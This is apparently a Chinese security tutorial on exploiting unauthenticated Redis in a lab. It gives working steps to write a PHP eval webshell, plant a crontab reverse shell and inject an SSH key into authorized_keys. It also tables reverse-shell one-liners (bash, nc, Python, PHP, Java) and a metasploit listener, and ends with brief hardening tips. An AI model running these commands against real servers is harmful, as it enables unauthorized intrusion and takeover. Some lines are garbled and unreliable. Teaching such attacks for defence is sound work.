网安-中间件-Redis未授权访问漏洞

目录

Redis

Redis持久化

动态修改配置

使用反弹连接的情况

常见监听端口的方式

常见建立反弹连接的方式

流程

[Linux crontab](#Linux crontab)

cron文件存储路径

利用Redis实现攻击

1.webshell提权案例

2.定时任务shell反弹案例

[3.SSH Key getshell案例](#3.SSH Key getshell案例)

​编辑Redis其他利用方式

Redis加固


Redis

1.数据类型丰富,应用场景广泛

2.纯内存的数据结构,读写速度快

3.功能特性丰富(持久化、事务、pipeline、多语言支持、集群分布式)

Redis持久化

RDB Redis DataBase (默认)

AOF Append Only File

配置:

1.save 3600 1 #自动触发规则

2.dbfilename dump.rdb #文件名

3.dir ./ #存储路径

手动触发保存命令:save / bgsave

动态修改配置

config set:动态修改配置,重启以后失效

config set dir /var/www/html

config set dbfilename redis.php

使用反弹连接的情况

1.内网,私有IP

2.IP动态变化

3.6379端口不允许入方向

4.一句话木马被杀软删除

常见监听端口的方式

|--------|-------------------------------------------------------------------------------------------------------------------------|
| 类型 | 命令 |
| netcat | nc -lvnp 8888 |
| msf | msfconsole use exploit/multi/handler set payload php/meterpreter/reverse_tcp set lhost 192.168.6.131 set lport 8888 run |
| socat | socat TCP-LISTEN:8888 - (kali) |

常见建立反弹连接的方式

|------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 类型 | 命令 |
| Linux bash | bash -i >& /dev/tcp/192.168.6.131/8888 0>&1 |
| netcat | nc -e /bin/bash 192.168.6.131 8888 |
| Python | python - c " import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.142.44',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call('/bin/bash','-i'); |
| PHP | php -r 'exec("/bin/bash -i >& /dev/tcp/192.168.6.131 8888");' php -r 'sock=fsockopen("192.168.6.131",8888);exec("/bin/bash -i\<\&3 \>\&3 2\>\&3");' | | Java | r=Runtime.getRuntime() p= r.(\["/bin/bash","-c",exec 5\<\>/dev/tcp/192.168.6.131/8888;cat\<\&5 \| while read line; do \\line 2>&5 >&5; done"] as String\[\]) p.waitFor() |
| ... | ... |

bash反弹连接

bash -i >& /dev/tcp/192.168.6.131/8888 0>&1

打开一个交互式的bash终端

与远程机器建立一个socket连接

将标准错误输出合并到标准输出中
将标准输入重定向到标准输出中

防火墙CentOS

systemctl status firewalld

systemctl start firewalld

firewall-cmd --zone=public --add-port=7777/tcp -- permanent

firewall-cmd --reload

systemctl stop firewalld

流程

1.监听端口

2.执行命令,或者上传payload访问,建立连接

上传

1.文件上传漏洞

2.写入文件:MySQL、Redis、CMS

3.文本编辑命令:tee(vulnhub-breach)、test.py(vulnhub-DC9)
执行

访问或者定时任务自动触发

Linux crontab

|---------------------------|---------------|
| 命令 | 操作 |
| crontab -u root -r | 删除某个用户的任务 |
| crontab -u root time.cron | 把文件添加到某个用户的任务 |
| crontab -u root -l | 列举某个用户的任务 |
| crontab -u root -e | 编辑某个用户的任务 |

cron文件存储路径

|-----------------|-----------------------------------------|
| 路径 | 内容 |
| /var/spool/cron | 这个文件负责安排由系统管理员制定的维护系统以及其他任务的crontab |
| /etc/crontab | 放的是对应周期的任务dalily、hourly 、monthly、weekly |

利用Redis实现攻击

1.webshell提权案例

server:192.168.6.66

client:192.168.6.131

client:写入一句话木马

set h "<?php @eval($_POSTcmd); ?>"

server:利用蚁剑连接

2.定时任务shell反弹案例

client: 在定时任务里写入反弹shell

set m "\n* * * * * bash -i >& /dev/tcp/192.168.6.131/8888 0>&1\n"

server:查看定时任务

client:反弹成功

3.SSH Key getshell案例

SSH key免密登录

1.客户端生成密钥对(公钥、私钥)

2.客户端把公钥发给服务端保存(正常情况需要密码)

3.客户端用私钥加密消息,发给服务端

4.服务端用公钥解密,解密成功,说明密钥匹配

5.客户端免密登录成功

"你之前保存了我的公钥,所以可以解密我的消息,所以认得我"

redis利用SSH Key提权流程

控制机连接到Redis

向$HOME/.ssh/authorized_keys写入公钥

ssh -i ./id_rsa user@IP 使用私钥免密登录

执行后续操作

前提:server有.ssh

client:生成密钥

ssh-keygen

set mmm "\n\n\ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9KGMsE6w9Ocjp2q3u0kqCSSrG6IwtP2/w92knpb+PRV8XXNQSAtIi/zMefBh0XLyMOoZ+6zBU7jz6Xfzsa9f6KtAegDtEGHAv/9iFsklMs8WnM2q0CJ8xw4wZztCAl5Aiy06iWcb10pJBNCcWhm5NGe8ZjSaIaLLNYLKqN3I2WxWB8hYHtBCU4fdoEc/eXKGhG6lip0WNV9tTgb0NI352wl7QcbjGK0+cl1inryb7TXkftoxgLXgMq7o4SSchCpNPvlESfKJ6C9BXC09Z/4Tu/fHLZ6pFXj6jfZfX0TKMsaiW6XFhvYtQUDWZc23zhCBXecpJzNfYosXDONnGpNWf root@localhost.localdomain\n\n\n"

server:

client利用私钥登录

ssh -i ./id_rsa root@192.168.6.66

Redis其他利用方式

基于主从复制的RCE(Remote Code Execution)

jackson 反序列化利用

lua RCE

Redis密码爆破

Redis加固

1.限制访问IP

2.修改默认端口

3.使用密码St访ruct问ured Query Language

4.不要用root运行Redis

相关推荐
小猿备忘录4 小时前
Spring Security OAuth2 双Token机制精讲:原理、配置与常见坑点全解析
java·前端·spring·中间件
SilentSamsara5 小时前
Python 与 Docker:多阶段构建、最小镜像与健康检查
运维·开发语言·python·docker·中间件·容器
维度跃迁笔记9 小时前
国产中间件替换WebLogic实战指南:东方通与宝兰德迁移避坑记录背景与问题
中间件
Trouvaille ~1 天前
【Redis】Redis 持久化:RDB 与 AOF 深度解析
redis·中间件·持久化·aof·后端开发·rdb·基础入门
@insist1231 天前
系统架构设计师-构件化开发与中间件技术:架构设计落地的核心路径
中间件·系统架构·软考·系统架构设计师·软件水平考试
半夜修仙1 天前
RabbitMQ常见高级特性
其他·中间件·rabbitmq·github·java-rabbitmq
BossFriday1 天前
【手撸IM】SycllaDB 消息存储基础
java·分布式·中间件
逍遥德2 天前
MQTT教程详解-04.SpringBoot集成MQTT(告别手动控制)
java·spring boot·物联网·中间件·iot·iotdb
我是一颗柠檬2 天前
【Java后端技术亮点】热Key探测与本地缓存二级防护:Redis热点问题的终极解决方案
java·redis·后端·缓存·中间件
Trouvaille ~2 天前
【Redis篇】Redis 渐进式遍历与数据库管理
数据库·redis·缓存·中间件·数据库管理·后端开发·scan